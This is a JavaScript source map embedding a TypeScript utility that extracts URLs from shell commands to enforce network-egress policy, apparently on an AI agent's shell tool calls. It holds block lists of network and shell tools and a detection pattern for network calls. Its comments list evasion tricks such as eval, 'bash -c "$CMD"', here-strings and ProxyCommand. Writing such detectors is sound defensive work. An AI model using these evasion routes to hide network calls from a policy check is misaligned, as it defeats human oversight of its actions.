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","sourcesContent":["/**\n * URL Extraction Utilities\n *\n * Extracts URLs from text, objects, and shell commands.\n * Used for security policy enforcement and content analysis.\n *\n * ## Features\n *\n * - Recursive extraction from nested objects/arrays\n * - Shell command parsing (curl, wget)\n * - Automatic http:// prefix for bare hostnames\n * - Trailing punctuation cleanup\n *\n * @module utils/url-extractor\n */\n\n/**\n * Pattern to match HTTP/HTTPS URLs in text.\n */\nconst URL_PATTERN = /https?:\\/\\/[^\\s\"'<>]+/gi;\n\n/**\n * Commands that can initiate network egress from shell tool calls.\n */\nconst NETWORK_COMMANDS = new Set([\n\t\"aria2c\",\n\t\"curl\",\n\t\"ftp\",\n\t\"git\",\n\t\"http\",\n\t\"https\",\n\t\"nc\",\n\t\"ncat\",\n\t\"netcat\",\n\t\"rsync\",\n\t\"scp\",\n\t\"sftp\",\n\t\"ssh\",\n\t\"telnet\",\n\t\"wget\",\n\t\"wget2\",\n]);\n\nconst URL_POSITIONAL_COMMANDS = new Set([\n\t\"aria2c\",\n\t\"curl\",\n\t\"http\",\n\t\"https\",\n\t\"wget\",\n\t\"wget2\",\n]);\n\nconst NETWORK_WRAPPER_COMMANDS = new Set([\n\t\"busybox\",\n\t\"command\",\n\t\"doas\",\n\t\"env\",\n\t\"exec\",\n\t\"nice\",\n\t\"nohup\",\n\t\"setsid\",\n\t\"sudo\",\n\t\"time\",\n\t\"timeout\",\n\t\"xargs\",\n]);\n\nconst SHELL_WRAPPER_COMMANDS = new Set([\n\t\"bash\",\n\t\"dash\",\n\t\"fish\",\n\t\"ksh\",\n\t\"mksh\",\n\t\"sh\",\n\t\"zsh\",\n\t// `script(1)` records a typescript but also runs the `-c COMMAND`\n\t// (or `--command COMMAND`) argument inside a subshell. Treating it as\n\t// a shell wrapper so `script -qc 'ssh -o ProxyCommand=...'` still\n\t// reaches the opaque-options matcher.\n\t\"script\",\n]);\n\n// Indirection class: commands that hand a string off to a language runtime\n// or another shell so an attacker can hide the network call from the parser.\n//\n// `eval` is unconditionally opaque — its whole purpose is \"interpret this\n// string as code at runtime.\"\nconst EVAL_COMMANDS = new Set([\"eval\"]);\n\n// POSIX/Bourne-family shells that read a command body. When the body is a\n// static string the existing nested-shell parser recurses into it; but a\n// bare interpreter (pipe target), a `-c` argument with shell expansion\n// (`bash -c \"$CMD\"`), a here-string (`bash <<<`), or a positional script\n// path are all unparseable from here and treated as opaque.\nconst SHELL_INTERPRETERS = new Set([\n\t\"ash\",\n\t\"bash\",\n\t\"dash\",\n\t\"fish\",\n\t\"ksh\",\n\t\"mksh\",\n\t\"sh\",\n\t// `script(1)` records typescript output but executes its `-c` body\n\t// inside a real shell. The body-detection logic in\n\t// `shellInterpreterIsOpaque` (`-c` / `--command` / `-qc`) applies\n\t// to `script` identically — without this, `script -c \"$CMD\"\n\t// /tmp/log` slips past pass 2.\n\t\"script\",\n\t\"zsh\",\n]);\n\n// Language interpreters and the flag that runs an inline code string. We\n// cannot parse Python/Node/Perl/Ruby/PHP — so when the eval/exec flag is\n// present we look at the code argument for either shell expansion (we\n// cannot resolve its value) or a network-relevant token (`ssh`,\n// `requests.get`, `urlopen`, `os.system`, …). Either is opaque.\nconst LANGUAGE_EVAL_EXEC_FLAGS: ReadonlyMap<\n\tstring,\n\tReadonlySet<string>\n> = new Map([\n\t[\"python\", new Set([\"-c\"])],\n\t[\"python2\", new Set([\"-c\"])],\n\t[\"python3\", new Set([\"-c\"])],\n\t[\"node\", new Set([\"-e\", \"--eval\", \"-p\", \"--print\"])],\n\t[\"nodejs\", new Set([\"-e\", \"--eval\", \"-p\", \"--print\"])],\n\t[\"deno\", new Set([\"eval\"])],\n\t[\"bun\", new Set([\"-e\", \"--eval\"])],\n\t[\"perl\", new Set([\"-e\", \"-E\"])],\n\t[\"ruby\", new Set([\"-e\"])],\n\t[\"php\", new Set([\"-r\"])],\n]);\n\n// Substring patterns inside a language `-c` / `-e` code body that imply\n// the interpreted code may make a network request. Lower-cased; matched\n// case-insensitively. The list errs on the side of catching outbound\n// transport calls; if a benign script trips it, the user can refactor\n// the command to not embed a code string.\nconst NETWORK_KEYWORD_PATTERN =\n\t/\\b(?:ssh|scp|sftp|rsync|curl|wget|telnet|ftp|smb|nfs|imap|smtp|pop3|requests\\.|urllib|urlopen|httplib|http\\.client|fetch\\(|axios|node-fetch|undici|got\\(|net::http|net::ssh|net::scp|socket\\.|os\\.system|os\\.popen|subprocess|child_process|exec\\(|spawn\\(|popen\\(|net\\.connect|tls\\.connect|dgram\\.|smtplib|paramiko|fabric|file_get_contents|fsockopen|stream_socket_client|curl_exec|curl_init|fopen|file\\(\\s*['\"]https?)\\b|require\\(\\s*['\"](?:https?|net|tls|dgram|dns|http2|child_process)['\"]|(?:import|from)\\s*['\"](?:https?|net|tls|dgram|dns|http2|child_process|node:(?:https?|net|tls|dgram|dns|http2|child_process))['\"]/i;\n\nconst SHELL_HEREDOC_TOKENS = new Set([\"<<<\", \"<<\", \"<<-\"]);\n\nfunction hasShellExpansionToken(arg: string): boolean {\n\t// `$VAR`, `${VAR}`, `$(...)`, and backtick command substitution all\n\t// resolve at runtime — the parser cannot know the value, so any code\n\t// body containing one must be treated as opaque.\n\treturn arg.includes(\"$\") || arg.includes(\"`\");\n}\n\n// Resolve the code body for a language interpreter eval/exec flag,\n// across the three argv forms an attacker can use:\n//\n//   * `python -c CODE`            (exact match + next argv slot)\n//   * `python -c'CODE'`           (glued short flag, quotes elided by shell)\n//   * `node --eval=CODE`          (`=` form for long flags)\n//\n// Returns the code string, or null if `arg` is not a recognized form.\n// Empty string is treated as \"no body\" by the caller — a dangling\n// `python -c` errors at the interpreter, not a network bypass.\nfunction extractEvalCodeBody(\n\targ: string,\n\tnextArg: string | undefined,\n\tflags: ReadonlySet<string>,\n): string | null {\n\tif (flags.has(arg)) {\n\t\treturn nextArg ?? null;\n\t}\n\tfor (const flag of flags) {\n\t\t// Glued short form: `python -c'…'` becomes one token `-c…` after\n\t\t// the shell removes the quotes. Only meaningful when the flag is\n\t\t// itself a single-char short flag (`-c`, `-e`, `-E`, `-r`, `-p`).\n\t\tif (\n\t\t\tflag.length === 2 &&\n\t\t\tflag.startsWith(\"-\") &&\n\t\t\t!flag.startsWith(\"--\") &&\n\t\t\targ.startsWith(flag) &&\n\t\t\targ.length > flag.length\n\t\t) {\n\t\t\treturn arg.slice(flag.length);\n\t\t}\n\t\t// `=` form for long flags: `--eval=…`, `--print=…`.\n\t\tif (flag.startsWith(\"--\") && arg.startsWith(`${flag}=`)) {\n\t\t\treturn arg.slice(flag.length + 1);\n\t\t}\n\t}\n\treturn null;\n}\n\nfunction shellInterpreterIsOpaque(segment: string[]): boolean {\n\t// `… | sh`, `… | bash` — the interpreter reads from stdin (or is\n\t// being launched interactively). Either way the body is invisible.\n\tif (segment.length === 1) {\n\t\treturn true;\n\t}\n\n\tlet index = 1;\n\tlet sawStaticC = false;\n\twhile (index < segment.length) {\n\t\tconst arg = segment[index]!;\n\n\t\tif (SHELL_HEREDOC_TOKENS.has(arg)) {\n\t\t\treturn true;\n\t\t}\n\n\t\tconst commandArg = extractShellCommandArg(segment, index);\n\t\tif (commandArg) {\n\t\t\tif (\n\t\t\t\tcommandArg.command !== null &&\n\t\t\t\thasShellExpansionToken(commandArg.command)\n\t\t\t) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif (commandArg.command !== null) {\n\t\t\t\tsawStaticC = true;\n\t\t\t}\n\t\t\tindex += commandArg.consumedArgs;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// `--init-file=$EVIL`, `--rcfile=$EVIL`, `-rcfile=$EVIL`: bash\n\t\t// will read code from a caller-controlled file path. Expansion\n\t\t// in the path means we can't know which file — opaque.\n\t\tif (\n\t\t\targ.startsWith(\"--init-file=\") ||\n\t\t\targ.startsWith(\"--rcfile=\") ||\n\t\t\targ.startsWith(\"-rcfile=\")\n\t\t) {\n\t\t\tconst path = arg.slice(arg.indexOf(\"=\") + 1);\n\t\t\tif (hasShellExpansionToken(path)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (SHELL_FLAGS_WITH_VALUES.has(arg)) {\n\t\t\t// `bash --rcfile $EVIL` (space-separated value form). Same\n\t\t\t// risk as the `=` form when the value itself expands.\n\t\t\tconst value = segment[index + 1];\n\t\t\tif (\n\t\t\t\tvalue !== undefined &&\n\t\t\t\t(arg === \"--rcfile\" || arg === \"-rcfile\" || arg === \"--init-file\") &&\n\t\t\t\thasShellExpansionToken(value)\n\t\t\t) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tindex += 2;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (arg.startsWith(\"-\") || arg.startsWith(\"+\")) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Positional argument before a -c body: script path. We cannot\n\t\t// read its content, so this invocation is opaque.\n\t\tif (!sawStaticC) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// After a static -c body, positionals are just $0/$1/... — the\n\t\t// parser has already recursed into the body, so they don't make\n\t\t// the segment opaque.\n\t\tbreak;\n\t}\n\n\treturn false;\n}\n\n// Walk past env-var prefixes and exec-wrappers (`env`, `sudo`, `doas`,\n// `nohup`, `busybox`, …) to the underlying invocation. Mirrors the\n// prefix-stripping in `unwrapNetworkInvocation`, but emits the\n// unwrapped segment whether or not the inner command is a recognized\n// network/shell name — the caller's job is to classify it.\nfunction stripIndirectionWrappers(segment: string[]): string[] {\n\tlet remaining = segment;\n\twhile (remaining.length > 0 && isEnvAssignment(remaining[0]!)) {\n\t\tremaining = remaining.slice(1);\n\t}\n\twhile (remaining.length > 0) {\n\t\tconst head = shellCommandName(remaining[0] ?? \"\");\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(head)) {\n\t\t\tbreak;\n\t\t}\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\tbreak;\n\t\t}\n\t\tremaining = skipWrapperArgs(remaining, head);\n\t}\n\treturn remaining;\n}\n\nfunction findOpaqueIndirection(segment: string[]): string | null {\n\tif (segment.length === 0) {\n\t\treturn null;\n\t}\n\n\t// Strip wrappers so `env bash -c \"$CMD\"`, `sudo bash -c \"$CMD\"`,\n\t// `busybox sh -c \"$CMD\"` all reach the shell-interpreter check\n\t// instead of seeing `env` / `sudo` / `busybox` as the leading\n\t// command and bailing.\n\tconst unwrapped = stripIndirectionWrappers(segment);\n\tif (unwrapped.length === 0) {\n\t\treturn null;\n\t}\n\n\tconst commandName = shellCommandName(unwrapped[0] ?? \"\");\n\n\tif (EVAL_COMMANDS.has(commandName)) {\n\t\treturn segment.join(\" \");\n\t}\n\n\tif (\n\t\tSHELL_INTERPRETERS.has(commandName) &&\n\t\tshellInterpreterIsOpaque(unwrapped)\n\t) {\n\t\treturn segment.join(\" \");\n\t}\n\n\tconst evalFlags = LANGUAGE_EVAL_EXEC_FLAGS.get(commandName);\n\tif (evalFlags) {\n\t\tfor (let i = 1; i < unwrapped.length; i += 1) {\n\t\t\tconst arg = unwrapped[i] ?? \"\";\n\t\t\tconst code = extractEvalCodeBody(arg, unwrapped[i + 1], evalFlags);\n\t\t\tif (code === null || code === \"\") {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (hasShellExpansionToken(code) || NETWORK_KEYWORD_PATTERN.test(code)) {\n\t\t\t\treturn segment.join(\" \");\n\t\t\t}\n\t\t}\n\t}\n\n\treturn null;\n}\n\nconst SHELL_FLAGS_WITH_VALUES = new Set([\n\t\"--init-file\",\n\t\"--rcfile\",\n\t\"-rcfile\",\n\t\"-o\",\n\t\"+o\",\n\t\"-O\",\n\t\"+O\",\n]);\nconst SHELL_SHORT_FLAGS_BEFORE_COMMAND = new 